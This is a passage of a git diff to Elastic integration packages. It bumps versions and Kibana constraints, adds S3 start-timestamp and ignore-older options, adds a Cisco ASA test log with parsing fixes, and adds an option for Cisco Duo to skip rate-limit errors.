+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/canva/manifest.yml b/packages/canva/manifest.yml
index 14debc5a039..f88e6a44260 100644
--- a/packages/canva/manifest.yml
+++ b/packages/canva/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.2.1
name: canva
title: Canva
-version: 0.4.1
+version: "0.6.0"
description: Collect logs from Canva with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity
conditions:
kibana:
- version: ^8.16.2
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/carbon_black_cloud/changelog.yml b/packages/carbon_black_cloud/changelog.yml
index 95f61c9f17f..132bd27cc50 100644
--- a/packages/carbon_black_cloud/changelog.yml
+++ b/packages/carbon_black_cloud/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.9.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
- version: "2.8.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs
index fe7c6032e3e..f02b77eb69c 100644
--- a/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs
+++ b/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/carbon_black_cloud/data_stream/alert/manifest.yml b/packages/carbon_black_cloud/data_stream/alert/manifest.yml
index e26492ade74..fa328f5f9aa 100644
--- a/packages/carbon_black_cloud/data_stream/alert/manifest.yml
+++ b/packages/carbon_black_cloud/data_stream/alert/manifest.yml
@@ -93,6 +93,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs
index fe7c6032e3e..f02b77eb69c 100644
--- a/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs
+++ b/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml b/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml
index 4b57708a811..956cd45f929 100644
--- a/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml
+++ b/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml
@@ -93,6 +93,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs
index dfb5b5b7ad0..18e0f791002 100644
--- a/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs
+++ b/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml b/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml
index b258e250f87..11b6a8bface 100644
--- a/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml
+++ b/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml
@@ -39,6 +39,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs
index dbab0f3ba22..0c9eb2710be 100644
--- a/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs
+++ b/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml b/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml
index 717f0f38075..34bee498cec 100644
--- a/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml
+++ b/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml
@@ -39,6 +39,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/carbon_black_cloud/manifest.yml b/packages/carbon_black_cloud/manifest.yml
index 51c20662d83..275d7ae2049 100644
--- a/packages/carbon_black_cloud/manifest.yml
+++ b/packages/carbon_black_cloud/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: carbon_black_cloud
title: VMware Carbon Black Cloud
-version: "2.8.1"
+version: "2.9.0"
description: Collect logs from VMWare Carbon Black Cloud with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- edr_xdr
conditions:
kibana:
- version: "^8.16.2"
+ version: "^8.16.5"
screenshots:
- src: /img/carbon_black_cloud-screenshot.png
title: Carbon Black Cloud alert dashboard screenshot
diff --git a/packages/carbonblack_edr/changelog.yml b/packages/carbonblack_edr/changelog.yml
index 2900883447f..3c4194f2020 100644
--- a/packages/carbonblack_edr/changelog.yml
+++ b/packages/carbonblack_edr/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.21.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.20.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/carbonblack_edr/manifest.yml b/packages/carbonblack_edr/manifest.yml
index 22bdbb171e9..145393e8227 100644
--- a/packages/carbonblack_edr/manifest.yml
+++ b/packages/carbonblack_edr/manifest.yml
@@ -1,13 +1,13 @@
name: carbonblack_edr
title: VMware Carbon Black EDR
-version: "1.20.1"
+version: "1.21.0"
description: Collect logs from VMware Carbon Black EDR with Elastic Agent.
type: integration
format_version: "3.0.3"
categories: [security, edr_xdr]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
policy_templates:
- name: log
title: Carbon Black EDR logs
diff --git a/packages/checkpoint_email/changelog.yml b/packages/checkpoint_email/changelog.yml
index c13678951f9..eca916eddb4 100644
--- a/packages/checkpoint_email/changelog.yml
+++ b/packages/checkpoint_email/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.4.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/checkpoint_email/manifest.yml b/packages/checkpoint_email/manifest.yml
index f7081053cda..97475acb7d1 100644
--- a/packages/checkpoint_email/manifest.yml
+++ b/packages/checkpoint_email/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.2.2
name: checkpoint_email
title: Check Point Harmony Email & Collaboration
-version: 0.4.1
+version: "0.5.0"
description: Collect logs from Check Point Harmony Email & Collaboration with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.15.0
+ version: "^8.15.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/checkpoint_harmony_endpoint/changelog.yml b/packages/checkpoint_harmony_endpoint/changelog.yml
index 69ebcefa14c..84b030ad21a 100644
--- a/packages/checkpoint_harmony_endpoint/changelog.yml
+++ b/packages/checkpoint_harmony_endpoint/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.3.1"
changes:
- description: Fix indentation forensics CEL program.
diff --git a/packages/checkpoint_harmony_endpoint/manifest.yml b/packages/checkpoint_harmony_endpoint/manifest.yml
index a8a1ec00e10..be77b540d8c 100644
--- a/packages/checkpoint_harmony_endpoint/manifest.yml
+++ b/packages/checkpoint_harmony_endpoint/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.2.1
name: checkpoint_harmony_endpoint
title: "Check Point Harmony Endpoint"
-version: 0.3.1
+version: "0.4.0"
source:
license: "Elastic-2.0"
description: "Collect logs from Check Point Harmony Endpoint"
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.14.0"
+ version: "^8.14.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/cisa_kevs/changelog.yml b/packages/cisa_kevs/changelog.yml
index 43753ac6b51..0dfc8228859 100644
--- a/packages/cisa_kevs/changelog.yml
+++ b/packages/cisa_kevs/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.4.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/cisa_kevs/manifest.yml b/packages/cisa_kevs/manifest.yml
index 152d8a250ac..57c86599b07 100644
--- a/packages/cisa_kevs/manifest.yml
+++ b/packages/cisa_kevs/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.0.3
name: cisa_kevs
title: "CISA Known Exploited Vulnerabilities"
-version: "1.4.1"
+version: "1.5.0"
description: "This package allows the ingest of known exploited vulnerabilities according to the Cybersecurity and Infrastructure Security Agency of the United States of America. This information could be used to enrich or track exisiting vulnerabilities that are known to be exploited in the wild."
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/cisco_asa/changelog.yml b/packages/cisco_asa/changelog.yml
index a5d84681a06..c4801dd7a0d 100644
--- a/packages/cisco_asa/changelog.yml
+++ b/packages/cisco_asa/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.42.2"
+ changes:
+ - description: "Trim quotes from user.name field."
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12877
- version: "2.42.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log
index a58ddf34de9..f3ff03427fb 100644
--- a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log
+++ b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log
@@ -13,3 +13,4 @@ Jun 21 2022 11:47:08: %ASA-6-302015: Built inbound UDP connection 7 for outside:
Jun 21 2022 11:47:08: %ASA-6-302015: Built inbound UDP connection 7 for outside:81.2.69.142/3424 (81.2.69.142/3424)(LOCAL\alice) to inside:89.160.20.112/9803 (89.160.20.112/9803) (bob)
Jun 21 2022 11:47:09: %ASA-6-302015: Built inbound UDP connection 7 for outside:81.2.69.142/3424 (81.2.69.142/3424)(LOCAL\alice, 123) to inside:89.160.20.112/9803 (89.160.20.112/9803)(LOCAL\dave, 246) (bob)
Apr 27 2020 02:03:03 dev01: %ASA-5-434004: SFR requested device to bypass further packet redirection and process TCP flow from sourceInterfaceName:81.2.69.144/8888 to destinationInterfaceName:192.168.2.2/123123 locally
+<140>Feb 02 2025 14:02:35: %ASA-4-106103: access-list TEST_ACL_LIST denied tcp for user 'username' outside/81.2.69.142(51950) -> inside/89.160.20.112(443) hit-cnt 1 first hit [0xd3e666fa, 0x0]
diff --git a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json
index bcca5492c0c..4b82e22697f 100644
--- a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json
+++ b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json
@@ -1259,6 +1259,122 @@
"tags": [
"preserve_original_event"
]
+ },
+ {
+ "@timestamp": "2025-02-02T14:02:35.000Z",
+ "cisco": {
+ "asa": {
+ "destination_interface": "inside",
+ "rule_name": "TEST_ACL_LIST",
+ "source_interface": "outside"
+ }
+ },
+ "destination": {
+ "address": "89.160.20.112",
+ "as": {
+ "number": 29518,
+ "organization": {
+ "name": "Bredband2 AB"
+ }
+ },
+ "geo": {
+ "city_name": "Linköping",
+ "continent_name": "Europe",
+ "country_iso_code": "SE",
+ "country_name": "Sweden",
+ "location": {
+ "lat": 58.4167,
+ "lon": 15.6167
+ },
+ "region_iso_code": "SE-E",
+ "region_name": "Östergötland County"
+ },
+ "ip": "89.160.20.112",
+ "port": 443
+ },
+ "ecs": {
+ "version": "8.17.0"
+ },
+ "event": {
+ "action": "firewall-rule",
+ "category": [
+ "network"
+ ],
+ "code": "106103",
+ "kind": "event",
+ "original": "<140>Feb 02 2025 14:02:35: %ASA-4-106103: access-list TEST_ACL_LIST denied tcp for user 'username' outside/81.2.69.142(51950) -> inside/89.160.20.112(443) hit-cnt 1 first hit [0xd3e666fa, 0x0]",
+ "outcome": "failure",
+ "severity": 4,
+ "timezone": "UTC",
+ "type": [
+ "connection",
+ "denied"
+ ]
+ },
+ "log": {
+ "level": "warning",
+ "syslog": {
+ "facility": {
+ "code": 17
+ },
+ "priority": 140,
+ "severity": {
+ "code": 4
+ }
+ }
+ },
+ "network": {
+ "community_id": "1:j9VGmcL6owBe84RhzGdmyxXoL8w=",
+ "iana_number": "6",
+ "transport": "tcp"
+ },
+ "observer": {
+ "egress": {
+ "interface": {
+ "name": "inside"
+ }
+ },
+ "ingress": {
+ "interface": {
+ "name": "outside"
+ }
+ },
+ "product": "asa",
+ "type": "firewall",
+ "vendor": "Cisco"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.142",
+ "89.160.20.112"
+ ],
+ "user": [
+ "username"
+ ]
+ },
+ "source": {
+ "address": "81.2.69.142",
+ "geo": {
+ "city_name": "London",
+ "continent_name": "Europe",
+ "country_iso_code": "GB",
+ "country_name": "United Kingdom",
+ "location": {
+ "lat": 51.5142,
+ "lon": -0.0931
+ },
+ "region_iso_code": "GB-ENG",
+ "region_name": "England"
+ },
+ "ip": "81.2.69.142",
+ "port": 51950
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "name": "username"
+ }
}
]
}
diff --git a/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml b/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml
index 0ad627a28d0..00f5059f00e 100644
--- a/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml
@@ -2950,6 +2950,13 @@ processors:
value: "{{{destination.user.name}}}"
ignore_empty_value: true
if: ctx?.user?.name == null
+ # Remove quotes from fields
+ - gsub:
+ if: ctx.user?.name != null
+ tag: trim_user_name_whitespace
+ pattern: "^['\"]|['\"]$"
+ replacement: ""
+ field: user.name
# Configures observer fields with a copy from cisco and host fields. Later on these might replace host.hostname.
- set:
diff --git a/packages/cisco_asa/manifest.yml b/packages/cisco_asa/manifest.yml
index 9e9dc068f9f..c3414946575 100644
--- a/packages/cisco_asa/manifest.yml
+++ b/packages/cisco_asa/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: cisco_asa
title: Cisco ASA
-version: "2.42.1"
+version: "2.42.2"
description: Collect logs from Cisco ASA with Elastic Agent.
type: integration
categories:
diff --git a/packages/cisco_duo/changelog.yml b/packages/cisco_duo/changelog.yml
index 8faa13d1d59..cd64e5a86f2 100644
--- a/packages/cisco_duo/changelog.yml
+++ b/packages/cisco_duo/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.4.0"
+ changes:
+ - description: Provide option to ignore ingesting API Errors.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12870
- version: "2.3.2"
changes:
- description: Avoid obsolete cursor data in activity, telephony_v2.
diff --git a/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml
new file mode 100644
index 00000000000..3f5d514fdc0
--- /dev/null
+++ b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml
@@ -0,0 +1,12 @@
+input: cel
+service: cisco_duo
+vars:
+ hostname: http://{{Hostname}}:{{Port}}
+ secret_key: 40_characters_long_secret_key
+ integration_key: temp_integration_key
+ enable_request_tracer: true
+data_stream:
+ vars:
+ preserve_original_event: true
+assert:
+ hit_count: 5
diff --git a/packages/cisco_duo/data_stream/auth/_dev/test/system/test-default-config.yml b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-httpjson-config.yml
similarity index 100%
rename from packages/cisco_duo/data_stream/auth/_dev/test/system/test-default-config.yml
rename to packages/cisco_duo/data_stream/auth/_dev/test/system/test-httpjson-config.yml
diff --git a/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs b/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs
index 345cc42a1ca..2acad7ad79b 100644
--- a/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs
+++ b/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs
@@ -26,6 +26,7 @@ state:
limit: {{limit}}
initial_interval: {{initial_interval}}
want_more: false
+ ignore_api_errors: {{ignore_api_errors}}
redact:
fields:
- integration_key
@@ -107,23 +108,36 @@ program: |
)
:
- bytes(resp.Body).decode_json().as(body,
+ resp.StatusCode == 429 && bool(state.ignore_api_errors) ?
+ // Cisco Duo auth API rate limit is very low i.e., once per minute.
+ // Sometimes 429s are received even when requests are made
+ // less than once per minute. This leads to users ingesting 429
+ // API errors very often.
+ // If users choose not to ingest these errors, ignore them.
{
- "events": {
- "error": {
- "code": has(body.code) ? string(body.code) : string(resp.StatusCode),
- "id": string(resp.Status),
- "message": "GET:"+(
- size(resp.Body) != 0 ?
- string(resp.Body)
- :
- string(resp.Status) + ' (' + string(resp.StatusCode) + ')'
- ),
- },
- },
+ "events": [],
+ // Log the rate limit excession at DEBUG level.
+ "rate_limited": debug("rate_limit_exceeded", bytes(resp.Body).decode_json().?message.orValue("missing message")),
"want_more": false,
}
- )
+ :
+ bytes(resp.Body).decode_json().as(body,
+ {
+ "events": {
+ "error": {
+ "code": has(body.code) ? string(body.code) : string(resp.StatusCode),
+ "id": string(resp.Status),
+ "message": "GET:"+(
+ size(resp.Body) != 0 ?
+ string(resp.Body)
+ :
+ string(resp.Status) + ' (' + string(resp.StatusCode) + ')'
+ ),
+ },
+ },
+ "want_more": false,
+ }
+ )
)
)
))
diff --git a/packages/cisco_duo/data_stream/auth/manifest.yml b/packages/cisco_duo/data_stream/auth/manifest.yml
index c485aabd7e0..129447107a0 100644
--- a/packages/cisco_duo/data_stream/auth/manifest.yml
+++ b/packages/cisco_duo/data_stream/auth/manifest.yml
@@ -56,6 +56,14 @@ streams:
type: bool
multi: false
default: false
+ - name: ignore_api_errors
+ required: true
+ show_user: true
+ title: Ignore Ingesting API Errors.
+ description: Events containing API errors are ignored and thus not ingested. Currently, only `429 Too Many Requests` API error is ignored when this flag is enabled. By default all errors from API are ingested.
+ type: bool
+ multi: false
+ default: false
- name: processors
type: yaml
title: Processors
diff --git a/packages/cisco_duo/manifest.yml b/packages/cisco_duo/manifest.yml
index e9c4ad95793..ce40155d728 100644
--- a/packages/cisco_duo/manifest.yml
+++ b/packages/cisco_duo/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: cisco_duo
title: Cisco Duo
-version: "2.3.2"
+version: "2.4.0"
description: Collect logs from Cisco Duo with Elastic Agent.
type: integration
categories:
diff --git a/packages/cisco_meraki/changelog.yml b/packages/cisco_meraki/changelog.yml
index 7a3e41789c3..d8c377098c4 100644
--- a/packages/cisco_meraki/changelog.yml
+++ b/packages/cisco_meraki/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.28.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.27.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/cisco_meraki/manifest.yml b/packages/cisco_meraki/manifest.yml
index 9fbd5301177..5f0489c38e6 100644
--- a/packages/cisco_meraki/manifest.yml
+++ b/packages/cisco_meraki/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: cisco_meraki
title: Cisco Meraki
-version: "1.27.1"
+version: "1.28.0"
description: Collect logs from Cisco Meraki with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/cisco-meraki-dashboard-1.png
title: Cisco Meraki Dashboard
diff --git a/packages/cisco_secure_endpoint/changelog.yml b/packages/cisco_secure_endpoint/changelog.yml
index 126f7de0278..a9e117b4afa 100644
--- a/packages/cisco_secure_endpoint/changelog.yml
+++ b/packages/cisco_secure_endpoint/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.29.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.28.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/cisco_secure_endpoint/manifest.yml b/packages/cisco_secure_endpoint/manifest.yml
index 806e8be1438..70a9d46ed64 100644
--- a/packages/cisco_secure_endpoint/manifest.yml
+++ b/packages/cisco_secure_endpoint/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: cisco_secure_endpoint
title: Cisco Secure Endpoint
-version: "2.28.1"
+version: "2.29.0"
description: Collect logs from Cisco Secure Endpoint (AMP) with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- edr_xdr
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/cisco.svg
title: cisco
diff --git a/packages/cisco_umbrella/changelog.yml b/packages/cisco_umbrella/changelog.yml
index 0f0ee77a0ac..c0b63a5ddc3 100644
--- a/packages/cisco_umbrella/changelog.yml
+++ b/packages/cisco_umbrella/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "1.30.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "1.29.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.28.0"
changes:
- description: Add support for Access Point ARN when collecting logs via the AWS S3 Bucket.
diff --git a/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs b/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs
index 0fb264cec64..5d07095597d 100644
--- a/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs
+++ b/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs
@@ -9,6 +9,12 @@ access_point_arn: {{access_point_arn}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}/
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{#if file_selectors}}
file_selectors:
{{file_selectors}}
diff --git a/packages/cisco_umbrella/data_stream/log/manifest.yml b/packages/cisco_umbrella/data_stream/log/manifest.yml
index 6a6bfedc560..a4ea20c52ac 100644
--- a/packages/cisco_umbrella/data_stream/log/manifest.yml
+++ b/packages/cisco_umbrella/data_stream/log/manifest.yml
@@ -52,6 +52,20 @@ streams:
show_user: true
default: 1
description: Required for Cisco Managed S3. Number of workers that will process the S3 objects listed. Minimum is 1.
+ - name: start_timestamp
+ type: text
+ title: "Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: bucket_list_interval
type: text
title: Bucket List Interval
diff --git a/packages/cisco_umbrella/manifest.yml b/packages/cisco_umbrella/manifest.yml
index bb6e25a7b37..0da23f19824 100644
--- a/packages/cisco_umbrella/manifest.yml
+++ b/packages/cisco_umbrella/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: cisco_umbrella
title: Cisco Umbrella
-version: "1.28.0"
+version: "1.30.0"
